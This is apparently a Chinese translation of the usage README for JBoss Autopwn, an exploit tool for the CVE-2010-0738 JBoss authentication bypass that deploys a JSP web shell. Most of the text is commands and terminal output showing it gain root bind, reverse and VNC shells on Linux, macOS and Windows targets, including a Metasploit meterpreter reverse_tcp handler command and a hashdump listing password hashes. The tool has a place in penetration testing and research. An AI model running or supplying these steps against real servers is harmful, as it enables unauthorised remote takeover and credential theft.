
JBoss Autopwn CVE-2010-0738 JBoss 认证绕过
JBoss Autopwn,如2010年BlackHat Europe所展示——该版本整合了由Minded Security发现的CVE-2010-0738 JBoss认证绕过VERB操纵漏洞。
C. Papathanasiou 2010
该JBoss脚本在目标JBoss AS服务器上部署一个JSP Shell。部署后,脚本利用其上传和命令执行能力提供交互式会话。
功能包括:
依赖项包括
对于使用bind_tcp和reverse_tcp的*nix目标,使用e.sh
./e.sh target_ip tcp_port
对于可以执行Metasploit Windows载荷的Windows目标,使用e2.sh
/e2.sh target_ip tcp_port
Linux绑定Shell:
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] 获取cookie
[x] 现在创建BSH脚本...
[x] .war文件已在/tmp中成功创建
[x] 现在部署.war文件:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] 以用户身份运行...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] 服务器uname...:
Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] 是否要上传反向Shell还是绑定Shell? bind
[!] 希望绑定Shell监听哪个端口? 31337
[x] 上传绑定Shell载荷..
[x] 验证上传是否成功...
-rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload
[x] 您现在应该在192.168.1.2:31337上有一个绑定Shell..
[x] 将您放入一个Shell中...
Connection to 192.168.1.2 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")'
[root@nitrogen /]# 完全交互式Shell :-)
Linux反向Shell:
[root@nitrogen jboss]# nc -lv 31337 &
[1] 15536
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] 获取cookie
[x] 现在创建BSH脚本...
[x] .war文件已在/tmp中成功创建
[x] 现在部署.war文件:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] 以用户身份运行...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] 服务器uname...:
Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] 是否要上传反向Shell还是绑定Shell? reverse
[!] 希望接受反向Shell使用哪个端口? 31337
[x] 上传反向Shell载荷..
[x] 验证上传是否成功...
-rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload
Connection from 192.168.1.2 port 31337 [tcp/*] accepted
[x] 您现在应该在localhost:31337上有一个反向Shell..
[root@nitrogen jboss]# jobs
[1]+ Running nc -lv 31337 &
[root@nitrogen jboss]# fg 1
nc -lv 31337
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")';
[root@nitrogen /]# 完全交互式tty :-)
full interactive tty :-)
针对MacOS X(绑定Shell):
[root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null
[x] 获取cookie
[x] 现在创建BSH脚本...
[x] .war文件已在/tmp中成功创建
[x] 现在部署.war文件:
http://192.168.1.5:8080/browser/browser/browser.jsp
[x] 以用户身份运行...:
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
[x] 服务器uname...:
Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386
[!] 是否要上传反向Shell还是绑定Shell? bind
[!] 希望绑定Shell监听哪个端口? 31337
[x] 上传绑定Shell载荷..
[x] 验证上传是否成功...
-rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload
[x] 您现在应该在192.168.1.5:31337上有一个绑定Shell..
[x] 将您放入一个Shell中...
Connection to 192.168.1.5 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2# id
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
bash-3.2#
反向Shell同理。
Windows绑定Shell:
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] 获取cookie
[x] 现在创建BSH脚本...
[x] .war文件已在c:上成功创建
[x] 现在部署.war文件:
[x] Web Shell已启用! http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] 服务器名称...:
主机名 . . . . . . . . . . . . : aquarius
[x] 您想要反向Shell、绑定Shell还是vnc(bind)? bind
[x] 希望绑定Shell监听哪个端口? 31337
[x] 上传绑定Shell载荷..
[x] 检查绑定Shell是否上传正确..
[x] 绑定Shell已上传:22/11/2009 18:35 87,552 payload.exe
[x] 现在执行绑定Shell...
[x] 已执行绑定Shell!
[x] 回退到metasploit....
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war>
带有Metasploit meterpreter载荷的Windows反向Shell:
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] 获取cookie
[x] 现在创建BSH脚本...
[x] .war文件已在c:上成功创建
[x] 现在部署.war文件:
[x] Web Shell已启用! http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] 服务器名称...:
主机名 . . . . . . . . . . . . : aquarius
[x] 您想要反向Shell、绑定Shell还是vnc(bind)? reverse
[x] 希望接受反向Shell使用哪个端口? 31337
[x] 上传反向Shell载荷..
[x] 检查反向Shell是否上传正确..
[x] 反向Shell已上传:22/11/2009 18:46 87,552 payload.exe
[x] 您现在有20秒时间启动metasploit,然后我将发送一个反向Shell回连.. ctrl-z, bg then type:
framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[x] 现在执行反向Shell...
[x] 已执行反向Shell!
[root@nitrogen jboss]#
在终端2中:
[root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 31337
[*] Starting the payload handler...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266)
meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:xxxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxx:::
chris:1005:xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1004:5cb061f95caf6a9dc7d1bb971b333632:4ac4ee4210529e17665db586df844736:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:293c804ee7b7f93b3919344842b9c98a:::
__vmware_user__:1007:aad3b435b51404eeaad3b435b51404ee:a9fa3213d080de5533c7572775a149f5:::
meterpreter >
Windows VNC Shell:
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] 获取cookie
[x] 现在创建BSH脚本...
[x] .war文件已在c:上成功创建
[x] 现在部署.war文件:
[x] Web Shell已启用! http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] 服务器名称...:
主机名 . . . . . . . . . . . . : aquarius
[x] 您想要反向Shell、绑定Shell还是vnc(bind)? vnc
[x] 希望vnc Shell监听哪个端口? 21
[x] 上传vnc Shell载荷..
[x] 检查vnc Shell是否上传正确..
[x] vnc Shell已上传:22/11/2009 19:14 87,552 payload.exe
[x] 现在执行vnc Shell...
[x] 已执行vnc Shell!
[x] 回退到metasploit....
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (197120 bytes)
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 1 opened (192.168.1.2:52682 -> 192.168.1.225:21)
[*] VNC connection closed.
[root@nitrogen jboss]#
>>VNC窗口在此打开.. :-)
JBoss Autopwn - 一个用于获得远程Shell访问的JBoss脚本 由 Christian G. Papathanasiou 创建 版权所有 (C) 2009-2011 Trustwave Holdings, Inc.
此程序是自由软件;您可以根据自由软件基金会发布的GNU通用公共许可证第二版或(根据您的选择)任何更高版本重新分发和/或修改它。
此程序的分发是希望它有用,但没有任何担保;甚至没有对适销性或特定用途的隐含担保。有关更多详细信息,请参见GNU通用公共许可证。
您应该已经随此程序收到了一份GNU通用公共许可证的副本;如果没有,请写信给自由软件基金会,地址:59 Temple Place - Suite 330, Boston, MA 02111-1307, USA。